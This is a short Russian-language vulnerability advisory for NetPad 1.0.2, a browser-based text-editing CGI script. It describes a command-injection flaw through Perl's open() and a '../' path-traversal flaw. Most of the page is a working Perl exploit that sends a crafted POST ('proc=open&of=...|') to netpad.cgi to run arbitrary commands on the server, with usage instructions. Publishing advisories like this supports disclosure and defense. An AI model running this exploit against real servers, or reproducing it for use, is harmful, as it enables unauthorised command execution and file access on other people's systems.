NetPad — программа подобная Notepad, которая позволяет вам открывать
и редактировать файлы и страницы прямо в браузере. 

1. Из-за неподходящего использования функции open() и недостаточной фильтрации
введенных пользователем данных, удаленный пользователь может выполнять произвольные команды на уязвимом сервере. 

2. Представляя последовательность символов «../../../», можно получить доступ к произвольным файлам вне
wwwroot.

Уязвимость обнаружена в NetPad version 1.0.2.

Эксплоит

#!/usr/bin/perl
# exploit for levcgi’s NetPad 1.0.2
#
# This could easily be done with any browser and a little effort. # # requires LWP avaliable at # http://www.linpro.no/lwp/libwww-perl-5.64.tar.gz
# also, the number of ../’s differs. It depends on what $basedir # is set to in the netpad.cgi script # # usage: perl script.pl
http://site.tld/cgi-bin/netpad.cgi../../../../bin/command

use LWP::UserAgent;
$ua = new LWP::UserAgent;
$ua->agent(«your open call can be exploited» . $ua->agent);

my $req = new HTTP::Request POST => $ARGV[0]; $req->content_type(‘application/x-www-form-urlencoded’);
foreach(@ARGV){ $of .= «$_ » unless($_ eq $ARGV[0]); } $req->content(«proc=open&of=${of}|»);

my $res = $ua->request($req);
if ($res->is_success) { print $res->content . «\n\nit should have
worked.\n»; }
else { print «request failed.\n»; }

Оставить мнение